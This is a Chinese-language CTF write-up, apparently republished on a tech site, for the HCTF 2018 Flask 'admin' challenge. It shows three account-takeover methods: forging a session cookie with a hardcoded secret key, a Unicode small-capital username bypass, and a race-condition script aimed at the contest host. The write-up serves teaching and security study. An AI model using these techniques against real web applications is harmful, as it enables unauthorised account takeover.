内容简介:有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:拿到题目
前言
有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:
- 法1:伪造session
- 法2:unicode欺骗
- 法3:条件竞争
信息搜集
拿到题目
http://admin.2018.hctf.io/
f12查看源代码
<!-- you are not admin -->
发现提示要成为admin
随便注册个账号,登入后,在
view-source:http://admin.2018.hctf.io/change
发现提示
<!-- https://github.com/woadsl1234/hctf_flask/ -->
于是下载源码
功能分析
拿到代码后,简单的查看了下路由
@app.route('/index') def index(): @app.route('/register', methods = ['GET', 'POST']) def register(): @app.route('/login', methods = ['GET', 'POST']) def login(): @app.route('/logout') def logout(): @app.route('/change', methods = ['GET', 'POST']) def change(): @app.route('/edit', methods = ['GET', 'POST']) def edit():
查看一下路由,功能非常单一:登录,改密码,退出,注册,edit。
但edit功能也是个假功能,并且发现并不会存在 sql 注入之类的问题,也没有文件写入或者是一些危险的函数,此时陷入了困境。
解法一:session伪造
初步探索
想到的第一个方法:session伪造
于是尝试伪造session,根据ph写的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html
可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
所以我们构造脚本
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
然后可以尝试读取我们的session内容
此时容易想到伪造admin得到flag,因为看到代码中
想到把name伪造为admin,于是github上找了个脚本
https://github.com/noraj/flask-session-cookie-manager
尝试伪造
{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}
但是需要SECRET_KEY
我们发现config.py中存在
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
于是尝试ckj123
但是比赛的时候很遗憾,最后以失败告终,当时以为key不是SECRET_KEY,就没有深究
后来发现问题https://graneed.hatenablog.com/entry/2018/11/11/212048
似乎 python 3和python2的flask session生成机制不同
改用python3生成即可成功伪造管理员
解法二:Unicode欺骗
代码审计
在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现这样一句
好奇怪,为什么要转小写呢?
难道注册的时候没有转大小写吗?
但随后发现注册和登录都用了转小写,注册ADMIN的计划失败
但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?
有没有什么不一样的地方呢?于是想到跟进一下函数
def strlower(username): username = nodeprep.prepare(username) return username
本能的去研究了一下nodeprep.prepare
找到对应的库
https://github.com/twisted/twisted
这个方法很容易懂,即将大写字母转为小写
但是很快就容易发现问题
版本差的可真多,十有八九这里有猫腻
unicode问题
后来搜到这样一篇文章
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
对于如下字母
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare会进行如下操作
ᴀ -> A -> a
即第一次将其转换为大写,第二次将其转换为小写
那么是否可以用来bypass题目呢?
攻击构造
我们容易想到一个攻击链:
- 注册用户ᴀdmin
- 登录用户ᴀdmin,变成Admin
- 修改密码Admin,更改了admin的密码
于是成功得到如下flag
这里的unicode欺骗,让我想起了一道sql注入题目
skysec.top/2018/03/21/从一道题深入 mysql 字符集与比对方法collation/
解法三:条件竞争
该方法也是赛后交流才发现的,感觉有点意思
代码审计
我们发现代码在处理session赋值的时候
两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session
那么这里就会存在一些风险
那么我们设想,能不能利用这一点,改掉admin的密码呢?
例如:
- 我们登录sky用户,得到session a
- 用session a去登录触发admin赋值
- 改密码,此时session a已经被更改为session b了,即session name=admin
- 成功更改admin的密码
但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的
我们会在第一步直接跳转,所以这里需要条件竞争
条件竞争思路
那么能不能避开这个check呢?
答案是显然的,我们双线并进
当我们的一个进程运行到改密码
这里的时候
我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置
此时正好session name变为admin,change密码正好更改了管理员密码
payload
这里直接用研友syang @Whitzard 的脚本了
import requests import threading def login(s, username, password): data = { 'username': username, 'password': password, 'submit': '' } return s.post("http://admin.2018.hctf.io/login", data=data) def logout(s): return s.get("http://admin.2018.hctf.io/logout") def change(s, newpassword): data = { 'newpassword':newpassword } return s.post("http://admin.2018.hctf.io/change", data=data) def func1(s): login(s, 'skysec', 'skysec') change(s, 'skysec') def func2(s): logout(s) res = login(s, 'admin', 'skysec') if '<a href="/index">/index</a>' in res.text: print('finish') def main(): for i in range(1000): print(i) s = requests.Session() t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start() t2.start() if __name__ == "__main__": main()
注:但在后期测试中我没能成功,后面再研究一下,但我认为思路应该是正确的。
后记
题目可能因为一些失误有一些非预期,但是能进行这么多解法,对学习还是非常有帮助的。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Pro CSS and HTML Design Patterns
Michael Bowers / Apress / April 23, 2007 / $44.99
Design patterns have been used with great success in software programming. They improve productivity, creativity, and efficiency in web design and development, and they reduce code bloat and complexit......一起来看看 《Pro CSS and HTML Design Patterns》 这本书的介绍吧!